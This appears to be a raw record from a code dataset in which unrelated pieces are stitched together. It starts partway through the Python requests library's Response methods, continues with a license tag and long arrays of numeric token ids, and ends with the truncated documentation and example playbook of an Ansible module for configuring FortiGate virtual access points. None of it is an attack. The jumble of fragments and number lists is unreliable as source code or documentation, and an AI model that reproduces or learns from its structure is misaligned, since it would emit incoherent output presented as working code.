`self.text` (using chardet to make # a best guess). encoding = guess_json_utf(self.content) if encoding is not None: try: return complexjson.loads( self.content.decode(encoding), **kwargs ) except UnicodeDecodeError: # Wrong UTF codec detected; usually because it's not UTF-8 # but some other 8-bit codec. This is an RFC violation, # and the server didn't bother to tell us what codec *was* # used. pass return complexjson.loads(self.text, **kwargs) @property def links(self): """Returns the parsed header links of the response, if any.""" header = self.headers.get('link') # l = MultiDict() l = {} if header: links = parse_header_links(header) for link in links: key = link.get('rel') or link.get('url') l[key] = link return l def raise_for_status(self): """Raises stored :class:`HTTPError`, if one occurred.""" http_error_msg = '' if 400 <= self.status_code < 500: http_error_msg = '%s Client Error: %s for url: %s' % (self.status_code, self.reason, self.url) elif 500 <= self.status_code < 600: http_error_msg = '%s Server Error: %s for url: %s' % (self.status_code, self.reason, self.url) if http_error_msg: raise HTTPError(http_error_msg, response=self) def close(self): """Releases the connection back to the pool. Once this method has been called the underlying ``raw`` object must not be accessed again. *Note: Should not normally need to be called explicitly.* """ if not self._content_consumed: return self.raw.close() return self.raw.release_conn()
gpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 624, 199, 6615, 14, 992, 199, 22935, 23597, 199, 199, 2765, 859, 3509, 314, 5062, 2251, 626, 7074, 20260, 14, 199, 624, 199, 199, 646, 5055, 199, 646, 2197, 199, 199, 504, 5890, 492, 11808, 12, 19022, 6044, 199, 504, 1275, 7922, 492, 849, 63, 7922, 199, 504, 1275, 13547, 492, 12425, 32697, 199, 199, 504, 1275, 1178, 492, 3101, 6845, 2817, 199, 504, 1275, 7792, 492, 29038, 63, 504, 63, 807, 12, 664, 63, 5306, 63, 1291, 12, 485, 1574, 63, 5306, 63, 7338, 199, 504, 1275, 5154, 14, 4078, 19, 14, 955, 492, 4784, 792, 199, 504, 1275, 5154, 14, 4078, 19, 14, 493, 1932, 492, 3752, 63, 10123, 63, 30942, 199, 504, 1275, 5154, 14, 4078, 19, 14, 1974, 492, 2198, 63, 633, 199, 504, 1275, 5154, 14, 4078, 19, 14, 3924, 492, 334, 272, 22462, 547, 12, 5574, 19382, 12, 30797, 12, 12625, 9123, 9, 199, 504, 1275, 3924, 492, 334, 272, 15050, 12, 15626, 6700, 12, 6378, 2632, 12, 25246, 379, 7630, 547, 12, 272, 6646, 872, 1523, 547, 12, 25417, 12, 8271, 21042, 68, 547, 9, 199, 504, 1275, 1208, 492, 334, 272, 9519, 63, 1501, 12, 664, 63, 1178, 63, 504, 63, 633, 12, 295, 3513, 63, 2302, 12, 272, 2547, 63, 2708, 63, 1310, 63, 2975, 12, 370, 63, 498, 63, 637, 63, 513, 12, 2198, 63, 1291, 63, 4614, 12, 272, 2740, 63, 14865, 12, 9519, 63, 1001, 63, 1624, 12, 1613, 63, 552, 12, 370, 63, 6106, 63, 875, 9, 199, 504, 1275, 5819, 492, 334, 272, 26234, 12, 30111, 12, 29596, 12, 16511, 12, 620, 12, 2783, 12, 5228, 12, 272, 365, 63, 647, 18, 12, 28470, 12, 6762, 63, 495, 12, 7116, 9, 199, 504, 1275, 5819, 492, 2022, 465, 6114, 1001, 199, 504, 1275, 1205, 63, 6021, 492, 9479, 199, 199, 12573, 710, 663, 402, 3101, 2004, 9479, 626, 6623, 376, 5847, 199, 12573, 2112, 461, 4660, 14, 199, 19747, 63, 4315, 41, 275, 334, 272, 9479, 14, 3539, 12, 4519, 327, 19660, 272, 9479, 14, 4214, 12, 4519, 327, 11485, 272, 9479, 14, 1848, 12, 4519, 327, 25989, 272, 9479, 14, 13555, 63, 4876, 12, 327, 26959, 272, 9479, 14, 19904, 63, 4876, 12, 327, 650, 2036, 199, 9, 199, 199, 3472, 63, 19747, 63, 13387, 275, 4233, 199, 9663, 63, 20512, 63, 4305, 275, 1616, 627, 6619, 199, 11084, 63, 20512, 63, 4305, 275, 10574, 421, 199, 533, 4784, 7630, 4256, 8, 785, 304, 272, 768, 1829, 272, 347, 931, 63, 633, 8, 277, 304, 267, 408, 3425, 314, 931, 2851, 370, 675, 1041, 398, 1166, 275, 942, 398, 299, 275, 29596, 8, 277, 14, 633, 9, 398, 931, 275, 299, 14, 515, 267, 340, 440, 931, 26, 288, 931, 275, 7324, 398, 1166, 14, 740, 8, 515, 9, 398, 1827, 275, 299, 14, 1131, 267, 340, 1827, 26, 288, 1166, 14, 740, 360, 18478, 288, 1166, 14, 740, 8, 1131, 9, 398, 372, 6522, 904, 8, 633, 9, 339, 768, 4639, 272, 347, 485, 2143, 63, 1162, 8, 576, 304, 267, 408, 9686, 2633, 315, 282, 14854, 402, 666, 14, 398, 12823, 8792, 3752, 2633, 1380, 3032, 465, 282, 1211, 503, 282, 769, 402, 267, 499, 13, 11760, 14, 9240, 365, 30403, 340, 666, 365, 282, 769, 402, 499, 13, 11760, 1325, 9697, 267, 340, 2633, 787, 6841, 465, 282, 1211, 14, 267, 408, 398, 340, 1228, 8, 576, 12, 334, 495, 12, 2783, 2298, 288, 372, 666, 267, 916, 2688, 8, 576, 12, 283, 739, 735, 288, 372, 666, 267, 916, 2688, 8, 576, 12, 2560, 1661, 12168, 288, 754, 275, 942, 288, 367, 1022, 12, 8118, 315, 370, 63, 498, 63, 637, 63, 513, 8, 576, 304, 355, 340, 1228, 8, 3122, 12, 7116, 9, 503, 440, 2688, 8, 3122, 12, 2560, 1661, 12168, 490, 8118, 275, 359, 3122, 61, 355, 367, 373, 315, 8118, 26, 490, 340, 373, 365, 440, 488, 26, 717, 754, 14, 740, 8, 1169, 334, 75, 14, 2143, 360, 1624, 13, 24, 358, 340, 1228, 8, 75, 12, 620, 9, 587, 1022, 12, 2490, 373, 14, 2143, 360, 1624, 13, 24, 358, 340, 1228, 8, 86, 12, 620, 9, 587, 373, 430, 288, 372, 16511, 8, 1099, 12, 886, 3610, 29, 549, 9, 267, 587, 26, 288, 372, 666, 339, 768, 4639, 272, 347, 485, 2143, 63, 1725, 8, 1725, 12, 666, 304, 267, 408, 3425, 314, 2396, 367, 282, 15193, 15, 964, 13, 576, 1056, 14, 398, 12823, 8792, 3752, 1584, 1380, 3032, 465, 282, 1211, 503, 282, 769, 402, 267, 499, 13, 11760, 14, 9240, 365, 30403, 340, 666, 365, 282, 769, 402, 499, 13, 11760, 1325, 9697, 267, 340, 2633, 787, 6841, 465, 282, 1211, 14, 398, 408, 267, 340, 334, 1397, 1584, 304, 288, 746, 1722, 480, 5535, 1471, 506, 2741, 2685, 267, 916, 1228, 8, 576, 12, 7116, 304, 288, 746, 1722, 480, 1451, 1471, 440, 506, 282, 1059, 2685, 398, 892, 63, 955, 275, 942, 267, 1504, 275, 370, 63, 498, 63, 637, 63, 513, 8, 576, 503, 5009, 267, 1584, 275, 370, 63, 498, 63, 637, 63, 513, 8, 1725, 503, 5009, 398, 367, 901, 12, 1139, 315, 1504, 26, 288, 340, 1228, 8, 637, 12, 7116, 9, 503, 440, 2688, 8, 637, 12, 2560, 1661, 12168, 355, 1139, 275, 359, 637, 61, 288, 367, 373, 315, 1139, 26, 355, 340, 373, 365, 440, 488, 26, 490, 327, 7529, 1133, 1240, 620, 342, 641, 18792, 25182, 26, 315, 1611, 19, 652, 1006, 13538, 6835, 14, 490, 340, 440, 1228, 8, 86, 12, 2783, 304, 717, 373, 275, 620, 8, 86, 9, 4951, 892, 63, 955, 14, 740, 8, 717, 334, 698, 14, 2708, 360, 1624, 13, 24, 358, 340, 1228, 8, 698, 12, 2783, 9, 587, 901, 12, 586, 373, 14, 2143, 360, 1624, 13, 24, 358, 340, 1228, 8, 86, 12, 620, 9, 587, 373, 430, 398, 367, 334, 75, 12, 373, 9, 315, 1584, 26, 288, 327, 2291, 367, 5027, 1788, 288, 18133, 275, 488, 288, 11155, 275, 488, 288, 340, 1228, 8, 86, 12, 334, 2960, 12, 769, 2298, 355, 340 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 624, 199, 6615, 14, 992, 199, 22935, 23597, 199, 199, 2765, 859, 3509, 314, 5062, 2251, 626, 7074, 20260, 14, 199, 624, 199, 199, 646, 5055, 199, 646, 2197, 199, 199, 504, 5890, 492, 11808, 12, 19022, 6044, 199, 504, 1275, 7922, 492, 849, 63, 7922, 199, 504, 1275, 13547, 492, 12425, 32697, 199, 199, 504, 1275, 1178, 492, 3101, 6845, 2817, 199, 504, 1275, 7792, 492, 29038, 63, 504, 63, 807, 12, 664, 63, 5306, 63, 1291, 12, 485, 1574, 63, 5306, 63, 7338, 199, 504, 1275, 5154, 14, 4078, 19, 14, 955, 492, 4784, 792, 199, 504, 1275, 5154, 14, 4078, 19, 14, 493, 1932, 492, 3752, 63, 10123, 63, 30942, 199, 504, 1275, 5154, 14, 4078, 19, 14, 1974, 492, 2198, 63, 633, 199, 504, 1275, 5154, 14, 4078, 19, 14, 3924, 492, 334, 272, 22462, 547, 12, 5574, 19382, 12, 30797, 12, 12625, 9123, 9, 199, 504, 1275, 3924, 492, 334, 272, 15050, 12, 15626, 6700, 12, 6378, 2632, 12, 25246, 379, 7630, 547, 12, 272, 6646, 872, 1523, 547, 12, 25417, 12, 8271, 21042, 68, 547, 9, 199, 504, 1275, 1208, 492, 334, 272, 9519, 63, 1501, 12, 664, 63, 1178, 63, 504, 63, 633, 12, 295, 3513, 63, 2302, 12, 272, 2547, 63, 2708, 63, 1310, 63, 2975, 12, 370, 63, 498, 63, 637, 63, 513, 12, 2198, 63, 1291, 63, 4614, 12, 272, 2740, 63, 14865, 12, 9519, 63, 1001, 63, 1624, 12, 1613, 63, 552, 12, 370, 63, 6106, 63, 875, 9, 199, 504, 1275, 5819, 492, 334, 272, 26234, 12, 30111, 12, 29596, 12, 16511, 12, 620, 12, 2783, 12, 5228, 12, 272, 365, 63, 647, 18, 12, 28470, 12, 6762, 63, 495, 12, 7116, 9, 199, 504, 1275, 5819, 492, 2022, 465, 6114, 1001, 199, 504, 1275, 1205, 63, 6021, 492, 9479, 199, 199, 12573, 710, 663, 402, 3101, 2004, 9479, 626, 6623, 376, 5847, 199, 12573, 2112, 461, 4660, 14, 199, 19747, 63, 4315, 41, 275, 334, 272, 9479, 14, 3539, 12, 4519, 327, 19660, 272, 9479, 14, 4214, 12, 4519, 327, 11485, 272, 9479, 14, 1848, 12, 4519, 327, 25989, 272, 9479, 14, 13555, 63, 4876, 12, 327, 26959, 272, 9479, 14, 19904, 63, 4876, 12, 327, 650, 2036, 199, 9, 199, 199, 3472, 63, 19747, 63, 13387, 275, 4233, 199, 9663, 63, 20512, 63, 4305, 275, 1616, 627, 6619, 199, 11084, 63, 20512, 63, 4305, 275, 10574, 421, 199, 533, 4784, 7630, 4256, 8, 785, 304, 272, 768, 1829, 272, 347, 931, 63, 633, 8, 277, 304, 267, 408, 3425, 314, 931, 2851, 370, 675, 1041, 398, 1166, 275, 942, 398, 299, 275, 29596, 8, 277, 14, 633, 9, 398, 931, 275, 299, 14, 515, 267, 340, 440, 931, 26, 288, 931, 275, 7324, 398, 1166, 14, 740, 8, 515, 9, 398, 1827, 275, 299, 14, 1131, 267, 340, 1827, 26, 288, 1166, 14, 740, 360, 18478, 288, 1166, 14, 740, 8, 1131, 9, 398, 372, 6522, 904, 8, 633, 9, 339, 768, 4639, 272, 347, 485, 2143, 63, 1162, 8, 576, 304, 267, 408, 9686, 2633, 315, 282, 14854, 402, 666, 14, 398, 12823, 8792, 3752, 2633, 1380, 3032, 465, 282, 1211, 503, 282, 769, 402, 267, 499, 13, 11760, 14, 9240, 365, 30403, 340, 666, 365, 282, 769, 402, 499, 13, 11760, 1325, 9697, 267, 340, 2633, 787, 6841, 465, 282, 1211, 14, 267, 408, 398, 340, 1228, 8, 576, 12, 334, 495, 12, 2783, 2298, 288, 372, 666, 267, 916, 2688, 8, 576, 12, 283, 739, 735, 288, 372, 666, 267, 916, 2688, 8, 576, 12, 2560, 1661, 12168, 288, 754, 275, 942, 288, 367, 1022, 12, 8118, 315, 370, 63, 498, 63, 637, 63, 513, 8, 576, 304, 355, 340, 1228, 8, 3122, 12, 7116, 9, 503, 440, 2688, 8, 3122, 12, 2560, 1661, 12168, 490, 8118, 275, 359, 3122, 61, 355, 367, 373, 315, 8118, 26, 490, 340, 373, 365, 440, 488, 26, 717, 754, 14, 740, 8, 1169, 334, 75, 14, 2143, 360, 1624, 13, 24, 358, 340, 1228, 8, 75, 12, 620, 9, 587, 1022, 12, 2490, 373, 14, 2143, 360, 1624, 13, 24, 358, 340, 1228, 8, 86, 12, 620, 9, 587, 373, 430, 288, 372, 16511, 8, 1099, 12, 886, 3610, 29, 549, 9, 267, 587, 26, 288, 372, 666, 339, 768, 4639, 272, 347, 485, 2143, 63, 1725, 8, 1725, 12, 666, 304, 267, 408, 3425, 314, 2396, 367, 282, 15193, 15, 964, 13, 576, 1056, 14, 398, 12823, 8792, 3752, 1584, 1380, 3032, 465, 282, 1211, 503, 282, 769, 402, 267, 499, 13, 11760, 14, 9240, 365, 30403, 340, 666, 365, 282, 769, 402, 499, 13, 11760, 1325, 9697, 267, 340, 2633, 787, 6841, 465, 282, 1211, 14, 398, 408, 267, 340, 334, 1397, 1584, 304, 288, 746, 1722, 480, 5535, 1471, 506, 2741, 2685, 267, 916, 1228, 8, 576, 12, 7116, 304, 288, 746, 1722, 480, 1451, 1471, 440, 506, 282, 1059, 2685, 398, 892, 63, 955, 275, 942, 267, 1504, 275, 370, 63, 498, 63, 637, 63, 513, 8, 576, 503, 5009, 267, 1584, 275, 370, 63, 498, 63, 637, 63, 513, 8, 1725, 503, 5009, 398, 367, 901, 12, 1139, 315, 1504, 26, 288, 340, 1228, 8, 637, 12, 7116, 9, 503, 440, 2688, 8, 637, 12, 2560, 1661, 12168, 355, 1139, 275, 359, 637, 61, 288, 367, 373, 315, 1139, 26, 355, 340, 373, 365, 440, 488, 26, 490, 327, 7529, 1133, 1240, 620, 342, 641, 18792, 25182, 26, 315, 1611, 19, 652, 1006, 13538, 6835, 14, 490, 340, 440, 1228, 8, 86, 12, 2783, 304, 717, 373, 275, 620, 8, 86, 9, 4951, 892, 63, 955, 14, 740, 8, 717, 334, 698, 14, 2708, 360, 1624, 13, 24, 358, 340, 1228, 8, 698, 12, 2783, 9, 587, 901, 12, 586, 373, 14, 2143, 360, 1624, 13, 24, 358, 340, 1228, 8, 86, 12, 620, 9, 587, 373, 430, 398, 367, 334, 75, 12, 373, 9, 315, 1584, 26, 288, 327, 2291, 367, 5027, 1788, 288, 18133, 275, 488, 288, 11155, 275, 488, 288, 340, 1228, 8, 86, 12, 334, 2960, 12, 769, 2298, 355, 340, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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division, print_function) # Copyright 2019 Fortinet, Inc. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <https://www.gnu.org/licenses/>. __metaclass__ = type ANSIBLE_METADATA = {'status': ['preview'], 'supported_by': 'community', 'metadata_version': '1.1'} DOCUMENTATION = ''' --- module: fortios_wireless_controller_vap short_description: Configure Virtual Access Points (VAPs) in Fortinet's FortiOS and FortiGate. description: - This module is able to configure a FortiGate or FortiOS (FOS) device by allowing the user to set and modify wireless_controller feature and vap category. Examples include all parameters and values need to be adjusted to datasources before usage. Tested with FOS v6.0.5 version_added: "2.8" author: - Miguel Angel Munoz (@mamunozgonzalez) - Nicolas Thomas (@thomnico) notes: - Requires fortiosapi library developed by Fortinet - Run as a local_action in your playbook requirements: - fortiosapi>=0.9.8 options: host: description: - FortiOS or FortiGate IP address. type: str required: false username: description: - FortiOS or FortiGate username. type: str required: false password: description: - FortiOS or FortiGate password. type: str default: "" vdom: description: - Virtual domain, among those defined previously. A vdom is a virtual instance of the FortiGate that can be configured and used as a different unit. type: str default: root https: description: - Indicates if the requests towards FortiGate must use HTTPS protocol. type: bool default: true ssl_verify: description: - Ensures FortiGate certificate must be verified by a proper CA. type: bool default: true version_added: 2.9 state: description: - Indicates whether to create or remove the object. This attribute was present already in previous version in a deeper level. It has been moved out to this outer level. type: str required: false choices: - present - absent version_added: 2.9 wireless_controller_vap: description: - Configure Virtual Access Points (VAPs). default: null type: dict suboptions: state: description: - B(Deprecated) - Starting with Ansible 2.9 we recommend using the top-level 'state' parameter. - HORIZONTALLINE - Indicates whether to create or remove the object. type: str required: false choices: - present - absent acct_interim_interval: description: - WiFi RADIUS accounting interim interval (60 - 86400 sec). type: int alias: description: - Alias. type: str auth: description: - Authentication protocol. type: str choices: - psk - radius - usergroup broadcast_ssid: description: - Enable/disable broadcasting the SSID . type: str choices: - enable - disable broadcast_suppression: description: - Optional suppression of broadcast messages. For example, you can keep DHCP messages, ARP broadcasts, and so on off of the wireless network. type: str choices: - dhcp-up - dhcp-down - dhcp-starvation - arp-known - arp-unknown - arp-reply - arp-poison - arp-proxy - netbios-ns - netbios-ds - ipv6 - all-other-mc - all-other-bc captive_portal_ac_name: description: - Local-bridging captive portal ac-name. type: str captive_portal_macauth_radius_secret: description: - Secret key to access the macauth RADIUS server. type: str captive_portal_macauth_radius_server: description: - Captive portal external RADIUS server domain name or IP address. type: str captive_portal_radius_secret: description: - Secret key to access the RADIUS server. type: str captive_portal_radius_server: description: - Captive portal RADIUS server domain name or IP address. type: str captive_portal_session_timeout_interval: description: - Session timeout interval (0 - 864000 sec). type: int dhcp_lease_time: description: - DHCP lease time in seconds for NAT IP address. type: int dhcp_option82_circuit_id_insertion: description: - Enable/disable DHCP option 82 circuit-id insert . type: str choices: - style-1 - style-2 - disable dhcp_option82_insertion: description: - Enable/disable DHCP option 82 insert . type: str choices: - enable - disable dhcp_option82_remote_id_insertion: description: - Enable/disable DHCP option 82 remote-id insert . type: str choices: - style-1 - disable dynamic_vlan: description: - Enable/disable dynamic VLAN assignment. type: str choices: - enable - disable eap_reauth: description: - Enable/disable EAP re-authentication for WPA-Enterprise security. type: str choices: - enable - disable eap_reauth_intv: description: - EAP re-authentication interval (1800 - 864000 sec). type: int eapol_key_retries: description: - Enable/disable retransmission of EAPOL-Key frames (message 3/4 and group message 1/2) . type: str choices: - disable - enable encrypt: description: - Encryption protocol to use (only available when security is set to a WPA type). type: str choices: - TKIP - AES - TKIP-AES external_fast_roaming: description: - Enable/disable fast roaming or pre-authentication with external APs not managed by the FortiGate . type: str choices: - enable - disable external_logout: description: - URL of external authentication logout server. type: str external_web: description: - URL of external authentication web server. type: str fast_bss_transition: description: - Enable/disable 802.11r Fast BSS Transition (FT) . type: str choices: - disable - enable fast_roaming: description: - Enable/disable fast-roaming, or pre-authentication, where supported by clients . type: str choices: - enable - disable ft_mobility_domain: description: - Mobility domain identifier in FT (1 - 65535). type: int ft_over_ds: description: - Enable/disable FT over the Distribution System (DS). type: str choices: - disable - enable ft_r0_key_lifetime: description: - Lifetime of the PMK-R0 key in FT, 1-65535 minutes. type: int gtk_rekey: description: - Enable/disable GTK rekey for WPA security. type: str choices: - enable - disable gtk_rekey_intv: description: - GTK rekey interval (1800 - 864000 sec). type: int hotspot20_profile: description: - Hotspot 2.0 profile name. type: str intra_vap_privacy: description: - Enable/disable blocking communication between clients on the same SSID (called intra-SSID privacy) . type: str choices: - enable - disable ip: description: - IP address and subnet mask for the local standalone NAT subnet. type: str key: description: - WEP Key. type: str keyindex: description: - WEP key index (1 - 4). type: int ldpc: description: - VAP low-density parity-check (LDPC) coding configuration. type: str choices: - disable - rx - tx - rxtx local_authentication: description: - Enable/disable AP local authentication. type: str choices: - enable - disable local_bridging: description: - Enable/disable bridging of wireless and Ethernet interfaces on the FortiAP . type: str choices: - enable - disable local_lan: description: - Allow/deny traffic destined for a Class A, B, or C private IP address . type: str choices: - allow - deny local_standalone: description: - Enable/disable AP local standalone . type: str choices: - enable - disable local_standalone_nat: description: - Enable/disable AP local standalone NAT mode. type: str choices: - enable - disable mac_auth_bypass: description: - Enable/disable MAC authentication bypass. type: str choices: - enable - disable mac_filter: description: - Enable/disable MAC filtering to block wireless clients by mac address. type: str choices: - enable - disable mac_filter_list: description: - Create a list of MAC addresses for MAC address filtering. type: list suboptions: id: description: - ID. required: true type: int mac: description: - MAC address. type: str mac_filter_policy: description: - Deny or allow the client with this MAC address. type: str choices: - allow - deny mac_filter_policy_other: description: - Allow or block clients with MAC addresses that are not in the filter list. type: str choices: - allow - deny max_clients: description: - Maximum number of clients that can connect simultaneously to the VAP . type: int max_clients_ap: description: - Maximum number of clients that can connect simultaneously to each radio . type: int me_disable_thresh: description: - Disable multicast enhancement when this many clients are receiving multicast traffic. type: int mesh_backhaul: description: - Enable/disable using this VAP as a WiFi mesh backhaul . This entry is only available when security is set to a WPA type or open. type: str choices: - enable - disable mpsk: description: - Enable/disable multiple pre-shared keys (PSKs.) type: str choices: - enable - disable mpsk_concurrent_clients: description: - Number of pre-shared keys (PSKs) to allow if multiple pre-shared keys are enabled. type: int mpsk_key: description: - Pre-shared keys that can be used to connect to this virtual access point. type: list suboptions: comment: description: - Comment. type: str concurrent_clients: description: - Number of clients that can connect using this pre-shared key. type: str key_name: description: - Pre-shared key name. type: str passphrase: description: - WPA Pre-shared key. type: str multicast_enhance: description: - Enable/disable converting multicast to unicast to improve performance . type: str choices: - enable - disable multicast_rate: description: - Multicast rate (0, 6000, 12000, or 24000 kbps). type: str choices: - 0 - 6000 - 12000 - 24000 name: description: - Virtual AP name. required: true type: str okc: description: - Enable/disable Opportunistic Key Caching (OKC) . type: str choices: - disable - enable passphrase: description: - WPA pre-shard key (PSK) to be used to authenticate WiFi users. type: str pmf: description: - Protected Management Frames (PMF) support . type: str choices: - disable - enable - optional pmf_assoc_comeback_timeout: description: - Protected Management Frames (PMF) comeback maximum timeout (1-20 sec). type: int pmf_sa_query_retry_timeout: description: - Protected Management Frames (PMF) SA query retry timeout interval (1 - 5 100s of msec). type: int portal_message_override_group: description: - Replacement message group for this VAP (only available when security is set to a captive portal type). type: str portal_message_overrides: description: - Individual message overrides. type: dict suboptions: auth_disclaimer_page: description: - Override auth-disclaimer-page message with message from portal-message-overrides group. type: str auth_login_failed_page: description: - Override auth-login-failed-page message with message from portal-message-overrides group. type: str auth_login_page: description: - Override auth-login-page message with message from portal-message-overrides group. type: str auth_reject_page: description: - Override auth-reject-page message with message from portal-message-overrides group. type: str portal_type: description: - Captive portal functionality. Configure how the captive portal authenticates users and whether it includes a disclaimer. type: str choices: - auth - auth+disclaimer - disclaimer - email-collect - cmcc - cmcc-macauth - auth-mac probe_resp_suppression: description: - Enable/disable probe response suppression (to ignore weak signals) . type: str choices: - enable - disable probe_resp_threshold: description: - Minimum signal level/threshold in dBm required for the AP response to probe requests (-95 to -20). type: str ptk_rekey: description: - Enable/disable PTK rekey for WPA-Enterprise security. type: str choices: - enable - disable ptk_rekey_intv: description: - PTK rekey interval (1800 - 864000 sec). type: int qos_profile: description: - Quality of service profile name. type: str quarantine: description: - Enable/disable station quarantine . type: str choices: - enable - disable radio_2g_threshold: description: - Minimum signal level/threshold in dBm required for the AP response to receive a packet in 2.4G band (-95 to -20). type: str radio_5g_threshold: description: - Minimum signal level/threshold in dBm required for the AP response to receive a packet in 5G band(-95 to -20). type: str radio_sensitivity: description: - Enable/disable software radio sensitivity (to ignore weak signals) . type: str choices: - enable - disable radius_mac_auth: description: - Enable/disable RADIUS-based MAC authentication of clients . type: str choices: - enable - disable radius_mac_auth_server: description: - RADIUS-based MAC authentication server. type: str radius_mac_auth_usergroups: description: - Selective user groups that are permitted for RADIUS mac authentication. type: list suboptions: name: description: - User group name. required: true type: str radius_server: description: - RADIUS server to be used to authenticate WiFi users. type: str rates_11a: description: - Allowed data rates for 802.11a. type: str choices: - 1 - 1-basic - 2 - 2-basic - 5.5 - 5.5-basic - 11 - 11-basic - 6 - 6-basic - 9 - 9-basic - 12 - 12-basic - 18 - 18-basic - 24 - 24-basic - 36 - 36-basic - 48 - 48-basic - 54 - 54-basic rates_11ac_ss12: description: - Allowed data rates for 802.11ac with 1 or 2 spatial streams. type: str choices: - mcs0/1 - mcs1/1 - mcs2/1 - mcs3/1 - mcs4/1 - mcs5/1 - mcs6/1 - mcs7/1 - mcs8/1 - mcs9/1 - mcs10/1 - mcs11/1 - mcs0/2 - mcs1/2 - mcs2/2 - mcs3/2 - mcs4/2 - mcs5/2 - mcs6/2 - mcs7/2 - mcs8/2 - mcs9/2 - mcs10/2 - mcs11/2 rates_11ac_ss34: description: - Allowed data rates for 802.11ac with 3 or 4 spatial streams. type: str choices: - mcs0/3 - mcs1/3 - mcs2/3 - mcs3/3 - mcs4/3 - mcs5/3 - mcs6/3 - mcs7/3 - mcs8/3 - mcs9/3 - mcs10/3 - mcs11/3 - mcs0/4 - mcs1/4 - mcs2/4 - mcs3/4 - mcs4/4 - mcs5/4 - mcs6/4 - mcs7/4 - mcs8/4 - mcs9/4 - mcs10/4 - mcs11/4 rates_11bg: description: - Allowed data rates for 802.11b/g. type: str choices: - 1 - 1-basic - 2 - 2-basic - 5.5 - 5.5-basic - 11 - 11-basic - 6 - 6-basic - 9 - 9-basic - 12 - 12-basic - 18 - 18-basic - 24 - 24-basic - 36 - 36-basic - 48 - 48-basic - 54 - 54-basic rates_11n_ss12: description: - Allowed data rates for 802.11n with 1 or 2 spatial streams. type: str choices: - mcs0/1 - mcs1/1 - mcs2/1 - mcs3/1 - mcs4/1 - mcs5/1 - mcs6/1 - mcs7/1 - mcs8/2 - mcs9/2 - mcs10/2 - mcs11/2 - mcs12/2 - mcs13/2 - mcs14/2 - mcs15/2 rates_11n_ss34: description: - Allowed data rates for 802.11n with 3 or 4 spatial streams. type: str choices: - mcs16/3 - mcs17/3 - mcs18/3 - mcs19/3 - mcs20/3 - mcs21/3 - mcs22/3 - mcs23/3 - mcs24/4 - mcs25/4 - mcs26/4 - mcs27/4 - mcs28/4 - mcs29/4 - mcs30/4 - mcs31/4 schedule: description: - VAP schedule name. type: str security: description: - Security mode for the wireless interface . type: str choices: - open - captive-portal - wep64 - wep128 - wpa-personal - wpa-personal+captive-portal - wpa-enterprise - wpa-only-personal - wpa-only-personal+captive-portal - wpa-only-enterprise - wpa2-only-personal - wpa2-only-personal+captive-portal - wpa2-only-enterprise - osen security_exempt_list: description: - Optional security exempt list for captive portal authentication. type: str security_obsolete_option: description: - Enable/disable obsolete security options. type: str choices: - enable - disable security_redirect_url: description: - Optional URL for redirecting users after they pass captive portal authentication. type: str selected_usergroups: description: - Selective user groups that are permitted to authenticate. type: list suboptions: name: description: - User group name. required: true type: str split_tunneling: description: - Enable/disable split tunneling . type: str choices: - enable - disable ssid: description: - IEEE 802.11 service set identifier (SSID) for the wireless interface. Users who wish to use the wireless network must configure their computers to access this SSID name. type: str tkip_counter_measure: description: - Enable/disable TKIP counter measure. type: str choices: - enable - disable usergroup: description: - Firewall user group to be used to authenticate WiFi users. type: list suboptions: name: description: - User group name. required: true type: str utm_profile: description: - UTM profile name. type: str vdom: description: - Name of the VDOM that the Virtual AP has been added to. Source system.vdom.name. type: str vlan_auto: description: - Enable/disable automatic management of SSID VLAN interface. type: str choices: - enable - disable vlan_pool: description: - VLAN pool. type: list suboptions: id: description: - ID. required: true type: int wtp_group: description: - WTP group name. type: str vlan_pooling: description: - Enable/disable VLAN pooling, to allow grouping of multiple wireless controller VLANs into VLAN pools . When set to wtp-group, VLAN pooling occurs with VLAN assignment by wtp-group. type: str choices: - wtp-group - round-robin - hash - disable vlanid: description: - Optional VLAN ID. type: int voice_enterprise: description: - Enable/disable 802.11k and 802.11v assisted Voice-Enterprise roaming . type: str choices: - disable - enable ''' EXAMPLES = ''' - hosts: localhost vars: host: "192.168.122.40" username: "admin" password: "" vdom: "root" ssl_verify: "False" tasks: - name: Configure Virtual Access Points (VAPs). fortios_wireless_controller_vap: host: "{{ host }}" username: "{{ username }}" password: "{{ password }}" vdom: "{{ vdom }}" https: "False" state: "present" wireless_controller_vap: acct_interim_interval: "3" alias: "<your_own_value>" auth: "psk" broadcast_ssid: "enable" broadcast_suppression: "dhcp-up" captive_portal_ac_name: "<your_own_value>" captive_portal_macauth_radius_secret: "<your_own_value>" captive_portal_macauth_radius_server: "<your_own_value>" captive_portal_radius_secret: "<your_own_value>" captive_portal_radius_server: "<your_own_value>" captive_portal_session_timeout_interval: "13" dhcp_lease_time: "14" dhcp_option82_circuit_id_insertion: "style-1" dhcp_option82_insertion: "enable" dhcp_option82_remote_id_insertion: "style-1" dynamic_vlan: "enable" eap_reauth: "enable" eap_reauth_intv: "20" eapol_key_retries: "disable" encrypt: "TKIP" external_fast_roaming: "enable" external_logout: "<your_own_value>" external_web: "<your_own_value>" fast_bss_transition: "disable" fast_roaming: "enable" ft_mobility_domain: "28" ft_over_ds: "disable" ft_r0_key_lifetime: "30" gtk_rekey: "enable" gtk_rekey_intv: "32" hotspot20_profile: "<your_own_value>" intra_vap_privacy: "enable" ip: "<your_own_value>" key: "<your_own_value>" keyindex: "37" ldpc: "disable" local_authentication: "enable" local_bridging: "enable" local_lan: "allow" local_standalone: "enable" local_standalone_nat: "enable" mac_auth_bypass: "enable" mac_filter: "enable" mac_filter_list: - id: "47" mac: "<your_own_value>" mac_filter_policy: "allow" mac_filter_policy_other: "allow" max_clients: "51" max_clients_ap: "52" me_disable_thresh: "53" mesh_backhaul: "enable" mpsk: "enable" mpsk_concurrent_clients: "56" mpsk_key: - comment: "Comment." concurrent_clients: "<your_own_value>" key_name: "<your_own_value>" passphrase: "<your_own_value>" multicast_enhance: "enable" multicast_rate: "0" name: 